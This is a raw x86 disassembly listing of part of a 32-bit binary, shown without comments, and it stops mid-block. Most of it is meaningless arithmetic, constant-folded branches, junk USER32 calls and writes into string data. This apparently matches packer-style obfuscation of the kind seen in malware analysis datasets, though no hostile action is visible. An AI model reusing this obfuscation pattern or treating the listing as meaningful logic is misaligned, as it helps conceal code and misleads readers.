movsx edx, byte [0x100ad073]
test edx, edx
jne 0x1005214a
mov dword [ebp - 0x444], 1
jmp 0x10052154
mov dword [ebp - 0x444], 0
movsx eax, byte [0x100ad043]
movzx ecx, byte [ebp - 3]
imul eax, ecx
not eax
movsx edx, byte [0x100ad00e]
not edx
mov ecx, dword [ebp - 0x444]
sub ecx, edx
add eax, ecx
mov dword [ebp - 0x48], eax
movzx edx, word [ebp - 0x28]
add edx, 0x3af8b835
mov dword [ebp - 0x34], edx
mov eax, dword [0x100adbec]
mov dword [ebp - 0x1d0], eax
movzx ecx, byte [0x100ad072]
mov edx, dword [ebp - 0x34]
sub edx, ecx
add edx, dword [ebp - 0x34]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
mov dword [0x100ad0c8], eax
mov ecx, dword [0x100adbec]
mov dword [ebp - 0x44], ecx
xor edx, edx
mov dword [0x100ad128], 0x4dde
mov dword [0x100ad12c], edx
mov eax, dword [ebp - 0x1d0]
add eax, 0x272
mov dword [ebp - 0x1c9c], eax
cmp dword [ebp - 0x48], 0
je 0x10052294
mov dword [ebp - 0x1cc], 0x35
jmp 0x100521fd
mov ecx, dword [ebp - 0x1cc]
sub ecx, 1
mov dword [ebp - 0x1cc], ecx
cmp dword [ebp - 0x1cc], 0
jle 0x10052292
mov dword [ebp - 0x34], 2
movsx edx, byte [str.E2_wcsrchr]
movsx eax, byte [ebp - 5]
imul edx, eax
movsx ecx, byte [str.E2_wcsrchr]
or ecx, edx
mov byte [str.E2_wcsrchr], cl
movsx edx, word [ebp - 0x14]
imul eax, edx, 0x450a9bcd
mov dword [ebp - 0x48], eax
mov ecx, 1
imul edx, ecx, 0x92e4
movzx ax, byte [edx + 0x100d57e0]
mov word [0x100ad0cc], ax
push 0
push 0xfd22
mov ecx, dword [0x100ad0ec]
push ecx
mov edx, dword [0x100ad0e8]
push edx
call fcn.1007a8a0
mov word [ebp - 0x10], ax
mov eax, 0xece2
mov word [ebp - 0x18], ax
mov cx, word [0x100ad120]
add cx, 1
mov word [0x100ad120], cx
jmp 0x100521ee
jmp 0x100522f1
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x221c], eax
add edx, 0xc96e
mov word [ebp - 0x20], dx
movsx ecx, byte [ebp - 1]
imul ecx, dword [ebp - 0x38]
imul ecx, dword [ebp - 0x38]
mov dword [ebp - 0x38], ecx
mov dx, word [0x100adbec]
mov word [ebp - 0xc], dx
movsx eax, word [0x100ad130]
imul ecx, eax, 0x4f37
movsx edx, byte [0x100ad00d]
add edx, ecx
mov byte [0x100ad00d], dl
mov eax, dword [0x100ad140]
sub eax, 1
mov dword [0x100ad140], eax
mov byte [ebp - 5], 0x48
mov ecx, dword [ebp - 0x1d0]
add ecx, 0x417
mov dword [ebp - 0x1ca0], ecx
movsx edx, byte [0x100ad073]
cmp edx, dword [0x100ad0e0]
jbe 0x1005231e
mov dword [ebp - 0x448], 1
jmp 0x10052328
mov dword [ebp - 0x448], 0
movsx eax, byte [0x100ad073]
cmp eax, 0x52
jle 0x10052340
mov dword [ebp - 0x44c], 1
jmp 0x1005234a
mov dword [ebp - 0x44c], 0
mov ecx, dword [ebp - 0x448]
cmp ecx, dword [ebp - 0x44c]
jl 0x1005238a
mov dword [ebp - 0x1614], 1
mov edx, dword [ebp - 0x1614]
push edx
call dword [sym.imp.USER32.dll_BeginDeferWindowPos]
mov dword [ebp - 0x1c80], eax
mov eax, dword [ebp - 0x1c80]
push eax
call dword [sym.imp.USER32.dll_EndDeferWindowPos]
mov dword [ebp - 0x2220], eax
jmp 0x10052407
mov ecx, dword [0x100ad138]
sub ecx, 0xb1c93b91
mov edx, dword [0x100ad13c]
sbb edx, 0
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], edx
mov al, byte [ebp - 4]
add al, 1
mov byte [ebp - 4], al
movsx ecx, byte [0x100ad00e]
mov edx, dword [0x100ad158]
sub edx, ecx
imul edx, dword [0x100ad158]
mov dword [0x100ad158], edx
mov eax, dword [0x100ad138]
add eax, dword [0x100ad110]
mov ecx, dword [0x100ad13c]
adc ecx, dword [0x100ad114]
add eax, dword [0x100ad138]
adc ecx, dword [0x100ad13c]
mov dword [0x100ad138], eax
mov dword [0x100ad13c], ecx
movsx edx, byte [ebp - 2]
movzx eax, byte [0x100ad072]
sub edx, eax
mov byte [ebp - 2], dl
mov ecx, dword [ebp - 0x1d0]
add ecx, 0x59d
mov dword [ebp - 0x2224], ecx
mov edx, dword [0x100ad100]
shr edx, 8
mov word [ebp - 0x14], dx
mov byte [ebp - 3], 1
xor eax, eax
mov dword [0x100ad110], 1
mov dword [0x100ad114], eax
movsx ecx, word [0x100ad0c4]
shl ecx, 2
mov dword [ebp - 0x34], ecx
movsx eax, byte [0x100ad042]
not eax
movzx edx, word [ebp - 0x10]
movsx ecx, word [ebp - 0xc]
sub edx, ecx
sub eax, edx
cdq
mov dword [0x100ad0f8], eax
mov dword [0x100ad0fc], edx
mov edx, dword [0x100adbec]
mov dword [ebp - 0x1d8], edx
mov dword [ebp - 0x1c88], 0
mov dword [ebp - 0x1c84], 0
call dword [sym.imp.USER32.dll_GetFocus]
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0
je 0x100524d2
mov eax, dword [ebp - 0x1c84]
push eax
mov ecx, dword [ebp - 0x1d4]
push ecx
call dword [sym.imp.USER32.dll_BeginPaint]
mov dword [ebp - 0x2228], eax
mov edx, dword [ebp - 0x1c88]
push edx
mov eax, dword [ebp - 0x1d4]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
mov dword [ebp - 0x222c], eax
mov ecx, dword [ebp - 0x1d8]
add ecx, 0x421
mov dword [ebp - 0x2230], ecx
movsx edx, byte [ebp - 5]
test edx, edx
je 0x100527ab
movsx eax, word [0x100ad0c4]
test eax, eax
je 0x100527a6
movsx ecx, byte [ebp - 5]
movsx edx, byte [ebp - 1]
cmp ecx, edx
je 0x10052517
mov dword [ebp - 0x450], 1
jmp 0x10052521
mov dword [ebp - 0x450], 0
movsx eax, byte [ebp - 5]
cmp eax, 0x5c
je 0x10052536
mov dword [ebp - 0x454], 1
jmp 0x10052540
mov dword [ebp - 0x454], 0
mov ecx, dword [ebp - 0x450]
cmp ecx, dword [ebp - 0x454]
jge 0x10052713
movsx edx, word [ebp - 0x1c]
cmp dword [0x100ad0b4], edx
jg 0x1005256a
mov dword [ebp - 0x458], 1
jmp 0x10052574
mov dword [ebp - 0x458], 0
cmp dword [0x100ad0b4], 0x39
jg 0x10052589
mov dword [ebp - 0x45c], 1
jmp 0x10052593
mov dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0x458]
cmp eax, dword [ebp - 0x45c]
jge 0x1005262c
movzx eax, byte [0x100ad0a6]
cdq
sub eax, 0x23b46d48
mov dword [ebp - 0x34], eax
mov cl, byte [0x100adbec]
mov byte [0x100ad00d], cl
movzx edx, byte [ebp - 3]
movsx eax, byte [ebp - 5]
add edx, eax
movzx ecx, byte [ebp - 3]
add ecx, edx
mov byte [ebp - 3], cl
mov byte [0x100ad0a6], 0xd
movsx edx, byte [0x100ad00e]
test edx, edx
je 0x100525f2
movsx eax, word [ebp - 0xc]
mov dword [ebp - 0x460], eax
jmp 0x100525ff
movsx ecx, byte [0x100ad037]
mov dword [ebp - 0x460], ecx
mov dl, byte [ebp - 0x460]
mov byte [0x100ad043], dl
mov eax, dword [0x100ad118]
cdq
add eax, 0xf44d6cc6
adc edx, 0xc01f2
mov dword [0x100ad128], eax
mov dword [0x100ad12c], edx
jmp 0x1005270e
movzx eax, byte [ebp - 4]
test eax, eax
je 0x1005270e
movsx ecx, word [ebp - 0x1c]
cmp ecx, dword [0x100ad100]
jbe 0x1005270e
mov eax, dword [0x100ad15c]
not eax
movsx edx, byte [0x100ad09a]
sub eax, edx
cdq
mov ebx, eax
movsx eax, byte [ebp - 5]
movzx ecx, word [ebp - 0x28]
imul eax, ecx
cdq
mov esi, eax
movsx eax, word [ebp - 0x14]
not eax
cdq
push edx
push eax
mov edx, dword [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0x40]
push eax
call fcn.1007a8a0
xor esi, eax
add ebx, esi
not ebx
mov byte [ebp - 4], bl
movsx eax, word [0x100ad0c0]
cdq
mov esi, dword [0x100ad0d8]
mov edi, dword [0x100ad0dc]
add esi, eax
adc edi, edx
movzx ecx, word [ebp - 0x24]
imul ecx, dword [ebp - 0x48]
xor edx, edx
sub esi, ecx
sbb edi, edx
movsx eax, word [0x100ad0e4]
cdq
push 0x9d50e
push 0xc967e09d
push edx
push eax
call fcn.1007a8a0
mov ecx, eax
mov ebx, edx
movzx eax, word [ebp - 0x28]
movsx edx, word [0x100ad0b0]
imul eax, edx
cdq
add ecx, eax
adc ebx, edx
push ebx
push ecx
push edi
push esi
call fcn.1007a8a0
mov dword [0x100ad0c8], eax
mov eax, dword [0x100ad138]
add eax, 0xe7fce5a3
mov word [ebp - 0x28], ax
mov ecx, 1
imul edx, ecx, 0x6bf
mov al, byte [edx + 0x101e9b18]
mov byte [ebp - 5], al
jmp 0x100527a6
movsx ecx, word [ebp - 0x14]
test ecx, ecx
je 0x10052726
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x464], edx
jmp 0x10052733
movsx eax, word [0x100ad0b0]
mov dword [ebp - 0x464], eax
mov cl, byte [ebp - 0x464]
mov byte [ebp - 5], cl
mov edx, dword [0x100adbec]
xor eax, eax
mov dword [0x100ad0e8], edx
mov dword [0x100ad0ec], eax
mov eax, dword [0x100ad158]
cdq
add eax, 0xf4599e32
mov byte [str.px_04X_], al
mov dword [ebp - 0x48], 1
mov ecx, dword [ebp - 0x40]
or ecx, dword [ebp - 0x3c]
jne 0x1005277a
mov dword [ebp - 0x468], 1
jmp 0x10052784
mov dword [ebp - 0x468], 0
movsx edx, byte [0x100ad09a]
imul edx, dword [ebp - 0x468]
not edx
mov dword [0x100ad158], edx
mov al, byte [0x100ad00d]
sub al, 1
mov byte [0x100ad00d], al
jmp 0x100528cf
movzx ecx, byte [ebp - 3]
test ecx, ecx
jne 0x100527c7
xor edx, edx
mov dword [ebp - 0xfa4], 1
mov dword [ebp - 0xfa0], edx
jmp 0x100527d2
xorps xmm0, xmm0
movlpd qword [ebp - 0xfa4], xmm0
mov eax, dword [0x100ad138]
cmp eax, dword [ebp - 0xfa4]
jne 0x100527ed
mov ecx, dword [0x100ad13c]
cmp ecx, dword [ebp - 0xfa0]
je 0x100527f9
mov dword [ebp - 0x46c], 1
jmp 0x10052803
mov dword [ebp - 0x46c], 0
mov edx, dword [ebp - 0x46c]
not edx
test edx, edx
je 0x100528cf
movsx eax, byte [0x100ad09a]
add eax, 0x68e2
mov byte [ebp - 1], al
push 0
push 0x1dea
mov ecx, dword [0x100ad0fc]
push ecx
mov edx, dword [0x100ad0f8]
push edx
call fcn.1007a8a0
mov ecx, eax
movsx eax, byte [ebp - 2]
cdq
sub eax, ecx
mov byte [ebp - 2], al
movzx eax, word [ebp - 0x10]
cdq
mov ecx, dword [0x100ad148]
mov esi, dword [0x100ad14c]
add ecx, eax
adc esi, edx
mov edx, dword [0x100ad148]
mov eax, dword [0x100ad14c]
add edx, ecx
adc eax, esi
mov dword [0x100ad148], edx
mov dword [0x100ad14c], eax
mov ecx, dword [0x100ad108]
mov edx, dword [0x100ad10c]
mov dword [ebp - 0x1d28], ecx
mov dword [ebp - 0x1d24], edx
mov eax, dword [ebp - 0x1d28]
or eax, dword [ebp - 0x1d24]
je 0x100528ac
movsx ecx, byte [0x100ad09a]
mov dword [ebp - 0x470], ecx
jmp 0x100528b6
movzx edx, byte [ebp - 3]
mov dword [ebp - 0x470], edx
mov eax, dword [ebp - 0x470]
cdq
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
xor eax, eax
mov dword [ebp - 0x50], 0xb5
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x1d8]
add ecx, 0x570
mov dword [ebp - 0x1350], ecx
mov edx, 4
mov word [ebp - 0x24], dx
movzx eax, word [ebp - 0x24]
cdq
add eax, 0x30398847
mov byte [ebp - 4], al
mov byte [ebp - 4], 0x55
movsx eax, byte [0x100ad09a]
imul ecx, eax, 0xc8bcf318
xor edx, edx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], edx
movzx eax, word [ebp - 0x24]
imul ecx, eax, 0xc7130175
mov edx, dword [ebp - 0x38]
sar edx, cl
mov dword [ebp - 0x38], edx
movzx eax, word [ebp - 0x24]
mov dword [ebp - 0x474], eax
cmp dword [ebp - 0x474], 4
ja case.default.0x1005293f
mov ecx, dword [ebp - 0x474]
jmp dword [ecx*4 + 0x10078878]
movzx edx, byte [ebp - 3]
test edx, edx
jne 0x1005295a
mov dword [ebp - 0x478], 1
jmp 0x10052964
mov dword [ebp - 0x478], 0
movsx eax, byte [0x100ad00d]
movsx ecx, word [0x100ad0bc]
and eax, ecx
mov edx, dword [0x100ad0a8]
add edx, eax
mov eax, dword [ebp - 0x478]
sub eax, edx
mov byte [ebp - 4], al
movzx eax, word [ebp - 0x20]
cdq
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
mov dword [ebp - 0x2234], edx
add eax, ecx
mov word [ebp - 0x20], ax
movsx eax, word [ebp - 0xc]
imul ecx, eax, 0x2e
movsx edx, byte [str.E2_wcsrchr]
sub edx, ecx
mov byte [str.E2_wcsrchr], dl
movsx eax, word [0x100ad11c]
add eax, dword [ebp - 0x48]
movsx ecx, word [0x100ad11c]
sub ecx, eax
mov word [0x100ad11c], cx
jmp case.default.0x1005293f
imul edx, dword [ebp - 0x44], 0x96bb3eb8
mov word [ebp - 0x18], dx
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x1d30], eax
mov dword [ebp - 0x1d2c], ecx
mov edx, dword [ebp - 0x1d30]
or edx, dword [ebp - 0x1d2c]
jne 0x10052a0a
mov dword [ebp - 0x47c], 1
jmp 0x10052a14
mov dword [ebp - 0x47c], 0
movsx eax, word [ebp - 0xc]
movsx ecx, byte [0x100ad043]
add ecx, dword [ebp - 0x47c]
add ecx, eax
mov byte [ebp - 3], cl
movsx eax, word [0x100ad0c4]
cdq
mov ecx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
add ecx, eax
adc esi, edx
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
and edx, ecx
and eax, esi
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], eax
movzx ecx, word [ebp - 0x18]
shl ecx, 8
mov word [0x100ad0d0], cx
jmp case.default.0x1005293f
movsx eax, word [0x100ad11c]
cdq
sub eax, 0x391d7894
sbb edx, 0xd7e79
mov dword [0x100ad108], eax
mov dword [0x100ad10c], edx
push 0
push 0xdbdec21c
mov edx, dword [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0x40]
push eax
call fcn.1007a8a0
mov word [ebp - 0x14], ax
mov ecx, dword [0x100ad160]
mov edx, dword [0x100ad164]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], edx
movsx eax, word [ebp - 0x14]
shl eax, 5
mov word [ebp - 0x28], ax
jmp case.default.0x1005293f
mov ecx, dword [0x100ad15c]
add ecx, 0xf6e0d45
mov byte [str.px_04X_], cl
movsx edx, word [ebp - 0x14]
sub edx, 0xbf
mov byte [str.ZFreeSid], dl
mov eax, 0xffff98b5
mov word [ebp - 0x1c], ax
jmp case.default.0x1005293f
movzx ecx, word [ebp - 0x28]
movzx edx, word [ebp - 0x10]
imul ecx, edx
movzx eax, word [ebp - 0x28]
imul eax, ecx
mov word [ebp - 0x28], ax
movzx ecx, byte [ebp - 4]
movzx edx, word [ebp - 0x28]
add ecx, edx
mov byte [ebp - 4], cl
movzx eax, word [ebp - 0x18]
imul eax, dword [0x100ad15c]
mov word [ebp - 0x18], ax
mov ecx, dword [ebp - 0x1d8]
add ecx, 0x303
mov dword [ebp - 0x600], ecx
mov edx, 1
imul eax, edx, 0x1fc0
mov cl, byte [0x100ad0ac]
mov byte [eax + 0x101e9b18], cl
movzx edx, byte [ebp - 4]
add edx, 0x27338ed1
mov word [ebp - 0x14], dx
movzx eax, word [ebp - 0x10]
cdq
push 0x2f563
push 0xc7533ea0
push edx
push eax
call fcn.1007a8a0
mov word [ebp - 0x20], ax
mov eax, dword [0x100adbec]
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], 0
jmp 0x10052b8a
mov ecx, dword [ebp - 0x1dc]
add ecx, 2
mov dword [ebp - 0x1dc], ecx
cmp dword [ebp - 0x1dc], 0x1a8
jge 0x10052bad
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov byte [ebp - 2], al
mov dx, word [ebp - 0x20]
add dx, 1
mov word [ebp - 0x20], dx
jmp 0x10052b7b
mov eax, dword [ebp - 0x1e0]
add eax, 0x331
mov dword [ebp - 0x2238], eax
mov ecx, dword [0x100ad0e8]
or ecx, dword [0x100ad0ec]
je 0x10052bfc
movsx edx, word [0x100ad0b0]
movsx eax, word [0x100ad130]
imul edx, eax
mov word [0x100ad0b0], dx
movsx ecx, byte [ebp - 5]
mov dword [0x100ad118], ecx
movzx edx, word [ebp - 0x18]
sar edx, 1
mov dword [ebp - 0x48], edx
jmp 0x10052c96
movsx eax, word [0x100ad0b0]
movzx ecx, word [0x100ad0ac]
cmp eax, ecx
jl 0x10052c1a
mov dword [ebp - 0x480], 1
jmp 0x10052c24
mov dword [ebp - 0x480], 0
movsx edx, word [ebp - 0x1c]
cmp edx, dword [ebp - 0x38]
je 0x10052c39
mov dword [ebp - 0x484], 1
jmp 0x10052c43
mov dword [ebp - 0x484], 0
mov eax, dword [ebp - 0x480]
cmp eax, dword [ebp - 0x484]
jg 0x10052c96
movzx ecx, word [ebp - 0x20]
sub ecx, 0x474e
mov byte [ebp - 4], cl
movzx edx, byte [0x100ad00f]
add edx, dword [ebp - 0x44]
mov byte [0x100ad00f], dl
movsx eax, word [0x100ad11c]
movsx ecx, byte [ebp - 1]
add eax, ecx
mov word [0x100ad11c], ax
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x223c], eax
mov ecx, dword [ebp - 0x40]
sub ecx, edx
mov word [ebp - 0x14], cx
mov edx, dword [ebp - 0x1e0]
add edx, 0x43f
mov dword [ebp - 0x2240], edx
mov byte [0x100ad037], 0xc0
movsx eax, word [ebp - 0xc]
sub eax, 0x44
mov byte [str.E2_wcsrchr], al
movsx ecx, byte [str.E2_wcsrchr]
mov edx, 4
imul eax, edx, 0x21
mov dword [eax + 0x101ebbf8], ecx
mov ecx, dword [ebp - 0x1e0]
add ecx, 0x5f1
mov dword [ebp - 0x674], ecx
movzx edx, byte [0x100ad00f]
test edx, edx
jne 0x10052d01
movsx eax, word [ebp - 0x1c]
test eax, eax
jne 0x10052d01
mov dword [ebp - 0x488], 0
jmp 0x10052d0b
mov dword [ebp - 0x488], 1
movzx ecx, byte [0x100ad00f]
not ecx
add ecx, dword [ebp - 0x488]
je 0x10052fcf
cmp dword [0x100ad0c8], 0
je 0x10052f6e
mov edx, 0x4b9f
test edx, edx
je 0x10052e49
mov eax, dword [0x100ad100]
xor ecx, ecx
mov edx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
mov dword [ebp - 0x1d38], eax
mov dword [ebp - 0x1d34], ecx
mov dword [ebp - 0x1d40], edx
mov dword [ebp - 0x1d3c], esi
mov eax, dword [ebp - 0x1d38]
cmp eax, dword [ebp - 0x1d40]
jne 0x10052d7f
mov ecx, dword [ebp - 0x1d34]
cmp ecx, dword [ebp - 0x1d3c]
je 0x10052e44
movsx eax, word [0x100ad0e4]
cdq
mov ecx, eax
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2244], eax
sub ecx, edx
movsx eax, word [0x100ad0e4]
cdq
sub eax, ecx
mov word [0x100ad0e4], ax
movsx ecx, word [ebp - 0x14]
imul edx, ecx, 0x4caa
mov word [ebp - 0x18], dx
movzx eax, word [0x100ad0f0]
imul eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
movsx eax, byte [str.E2_wcsrchr]
cdq
xor eax, 0x8fce4781
mov word [ebp - 0x24], ax
mov ecx, dword [0x100ad0d8]
mov edx, dword [0x100ad0dc]
mov dword [ebp - 0x2248], edx
sub ecx, 0x21
mov byte [0x100ad00e], cl
movzx eax, word [ebp - 0x28]
test eax, eax
jne 0x10052e03
mov dword [ebp - 0x48c], 1
jmp 0x10052e0d
mov dword [ebp - 0x48c], 0
movsx ecx, word [ebp - 0xc]
sub ecx, 0xd26f
mov eax, ecx
imul eax, dword [0x100ad158]
movzx edx, word [ebp - 0x28]
movzx ecx, word [ebp - 0x24]
imul edx, ecx
mov ecx, dword [ebp - 0x48c]
xor ecx, dword [ebp - 0x38]
xor edx, ecx
add eax, edx
cdq
mov dword [0x100ad128], eax
mov dword [0x100ad12c], edx
jmp 0x10052f6c
movsx edx, word [0x100ad130]
test edx, edx
jne 0x10052e5c
movsx eax, byte [ebp - 1]
test eax, eax
je 0x10052e93
movsx ecx, word [0x100ad0c0]
imul edx, ecx, 0xb739
mov dword [ebp - 0x44], edx
mov eax, dword [0x100ad0a8]
sub eax, 0x543c5118
mov word [ebp - 0x18], ax
movsx ecx, byte [0x100ad043]
imul edx, ecx, 0xac2286ed
mov word [0x100ad0c4], dx
jmp 0x10052f6c
cmp dword [ebp - 0x48], 0
je 0x10052efc
mov eax, 0x4958
mov word [0x100ad0cc], ax
movsx ecx, word [0x100ad130]
add ecx, 0x6ae91210
mov dword [0x100ad0b4], ecx
mov edx, dword [0x100ad118]
add edx, 0xbcafacd
mov word [ebp - 0x24], dx
movzx eax, word [ebp - 0x28]
cdq
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x224c], ecx
and eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
movzx edx, word [ebp - 0x20]
add edx, 0x193ad883
mov eax, dword [0x100ad140]
sub eax, edx
mov dword [0x100ad140], eax
jmp 0x10052f6c
movsx ecx, byte [0x100ad09a]
cmp dword [0x100ad158], ecx
jle 0x10052f6c
mov edx, dword [0x100adbec]
xor eax, eax
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x48]
xor edx, edx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], edx
movsx eax, word [0x100ad0d0]
mov ecx, dword [ebp - 0x44]
not ecx
sub eax, ecx
jne 0x10052f40
mov dword [ebp - 0x490], 1
jmp 0x10052f4a
mov dword [ebp - 0x490], 0
mov edx, dword [ebp - 0x490]
add edx, 1
mov byte [ebp - 2], dl
movzx eax, byte [ebp - 4]
movzx ecx, byte [0x100ad072]
add eax, ecx
movzx edx, byte [ebp - 4]
add edx, eax
mov byte [ebp - 4], dl
jmp 0x10052fca
movzx eax, word [ebp - 0x28]
test eax, eax
je 0x10052f90
mov ecx, dword [0x100ad148]
mov edx, dword [0x100ad14c]
mov dword [ebp - 0xfac], ecx
mov dword [ebp - 0xfa8], edx
jmp 0x10052fa1
movzx eax, byte [ebp - 4]
cdq
mov dword [ebp - 0xfac], eax
mov dword [ebp - 0xfa8], edx
mov al, byte [ebp - 0xfac]
mov byte [0x100ad073], al
movsx ecx, byte [ebp - 1]
xor ecx, 0x1c
mov dword [ebp - 0x38], ecx
movzx edx, word [ebp - 0x10]
add edx, dword [0x100ad0b4]
movzx eax, word [ebp - 0x10]
sub eax, edx
mov word [ebp - 0x10], ax
jmp 0x1005307a
movsx ecx, word [0x100ad0c4]
movzx edx, word [ebp - 0x28]
cmp ecx, edx
jle 0x10052fea
mov dword [ebp - 0x494], 1
jmp 0x10052ff4
mov dword [ebp - 0x494], 0
movsx eax, word [0x100ad0c0]
movzx ecx, word [ebp - 0x18]
sub eax, ecx
cmp eax, dword [ebp - 0x494]
jle 0x1005307a
movzx eax, word [ebp - 0x28]
cdq
xor eax, dword [ebp - 0x40]
mov word [ebp - 0x28], ax
imul edx, dword [0x100ad0a8], 0x1115f228
movsx eax, word [0x100ad11c]
sub eax, edx
mov word [0x100ad11c], ax
movzx ecx, word [ebp - 0x18]
mov edx, dword [0x100ad0c8]
lea eax, [edx + ecx + 0x99]
mov byte [0x100ad073], al
movsx ecx, word [0x100ad0d0]
imul eax, ecx, 0xa9d1
cdq
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
movzx edx, word [ebp - 0x20]
add edx, 0x42b5a083
xor eax, eax
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], eax
movsx ecx, byte [0x100ad042]
sub ecx, 0x8096
mov dword [ebp - 0x48], ecx
mov edx, dword [0x100adbec]
mov dword [ebp - 0x1e4], edx
movsx eax, byte [0x100ad00e]
imul eax, dword [0x100ad0c8]
mov dword [0x100ad0c8], eax
movzx eax, word [0x100ad0ac]
movsx ecx, word [ebp - 0xc]
mov edx, dword [ebp - 0x44]
or edx, ecx
add eax, edx
cdq
imul ecx, dword [0x100ad158], 0xe9dc49c9
xor esi, esi
mov edi, dword [0x100ad12c]
add ecx, dword [0x100ad128]
adc esi, edi
push esi
push ecx
push edx
push eax
call fcn.1007a8a0
mov dword [0x100ad158], eax
movsx edx, word [ebp - 0x1c]
test edx, edx
je 0x100530e9
mov ax, word [ebp - 0x1c]
mov word [ebp - 0x102], ax
jmp 0x100530f4
mov cx, word [ebp - 0x14]
mov word [ebp - 0x102], cx
mov dl, byte [ebp - 0x102]
mov byte [0x100ad043], dl
mov eax, dword [0x100ad15c]
cdq
mov ecx, dword [0x100ad108]
mov edx, dword [0x100ad10c]
mov dword [ebp - 0x2250], edx
add eax, ecx
mov dword [0x100ad15c], eax
xor eax, eax
mov dword [ebp - 0x50], 0x6e
mov dword [ebp - 0x4c], eax
mov ecx, dword [0x100ad138]
or ecx, dword [0x100ad13c]
jne 0x10053147
mov edx, 1
mov word [ebp - 0x100], dx
jmp 0x10053150
xor eax, eax
mov word [ebp - 0x100], ax
mov cx, word [ebp - 0x100]
mov word [ebp - 0x14], cx
mov edx, dword [ebp - 0x1e4]
add edx, 0x4ee
mov dword [ebp - 0x214], edx
movzx eax, word [ebp - 0x18]
movzx ecx, word [ebp - 0x10]
cmp eax, ecx
jg 0x10053185
mov dword [ebp - 0x498], 1
jmp 0x1005318f
mov dword [ebp - 0x498], 0
movzx edx, word [ebp - 0x18]
cmp edx, 0x35
jg 0x100531a4
mov dword [ebp - 0x49c], 1
jmp 0x100531ae
mov dword [ebp - 0x49c], 0
mov eax, dword [ebp - 0x498]
cmp eax, dword [ebp - 0x49c]
je 0x1005347a
movsx ecx, byte [0x100ad00d]
not ecx
test ecx, ecx
je 0x10053478
mov edx, 0xaa
test edx, edx
je 0x10053478
movsx eax, word [0x100ad0b0]
test eax, eax
je 0x10053414
movsx ecx, word [ebp - 0x14]
cmp ecx, dword [ebp - 0x38]
je 0x1005337e
movzx edx, word [ebp - 0x28]
movsx eax, word [0x100ad0e4]
cmp edx, eax
je 0x10053215
mov dword [ebp - 0x4a0], 1
jmp 0x1005321f
mov dword [ebp - 0x4a0], 0
movzx ecx, word [ebp - 0x28]
cmp ecx, 0x2d
je 0x10053234
mov dword [ebp - 0x4a4], 1
jmp 0x1005323e
mov dword [ebp - 0x4a4], 0
mov edx, dword [ebp - 0x4a0]
cmp edx, dword [ebp - 0x4a4]
jl 0x100532c4
movzx eax, word [ebp - 0x10]
movzx ecx, word [ebp - 0x24]
imul eax, ecx
movzx edx, word [ebp - 0x10]
xor edx, eax
mov word [ebp - 0x10], dx
movzx eax, word [ebp - 0x28]
test eax, eax
je 0x1005327c
movzx eax, word [ebp - 0x10]
cdq
mov dword [ebp - 0xfb4], eax
mov dword [ebp - 0xfb0], edx
jmp 0x10053294
mov ecx, dword [0x100ad148]
mov edx, dword [0x100ad14c]
mov dword [ebp - 0xfb4], ecx
mov dword [ebp - 0xfb0], edx
mov ax, word [ebp - 0xfb4]
mov word [0x100ad130], ax
mov ecx, 0x46da
mov word [0x100ad0b0], cx
mov dx, word [0x100ad120]
add dx, 1
mov word [0x100ad120], dx
jmp 0x10053379
movzx eax, word [ebp - 0x24]
test eax, eax
jne 0x10053302
mov ecx, dword [0x100ad148]
mov edx, dword [0x100ad14c]
not ecx
not edx
mov dword [ebp - 0x1d48], ecx
mov dword [ebp - 0x1d44], edx
mov eax, dword [ebp - 0x1d48]
or eax, dword [ebp - 0x1d44]
jne 0x10053302
mov dword [ebp - 0x4a8], 0
jmp 0x1005330c
mov dword [ebp - 0x4a8], 1
cmp dword [ebp - 0x34], 0
jne 0x1005331e
mov dword [ebp - 0x4ac], 1
jmp 0x10053328
mov dword [ebp - 0x4ac], 0
mov ecx, dword [ebp - 0x4a8]
cmp ecx, dword [ebp - 0x4ac]
jl 0x10053379
movsx eax, byte [ebp - 5]
cdq
add eax, dword [ebp - 0x40]
adc edx, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x40]
sub ecx, eax
mov eax, dword [ebp - 0x3c]
sbb eax, edx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x2254], edx
and ecx, 0x70ad5373
mov word [ebp - 0x14], cx
movsx eax, word [0x100ad0d0]
sub eax, 0x1ee96161
mov word [0x100ad11c], ax
jmp 0x10053412
movsx ecx, byte [0x100ad00e]
movzx edx, byte [str.px_04X_]
and ecx, edx
movsx eax, byte [0x100ad00e]
sub eax, ecx
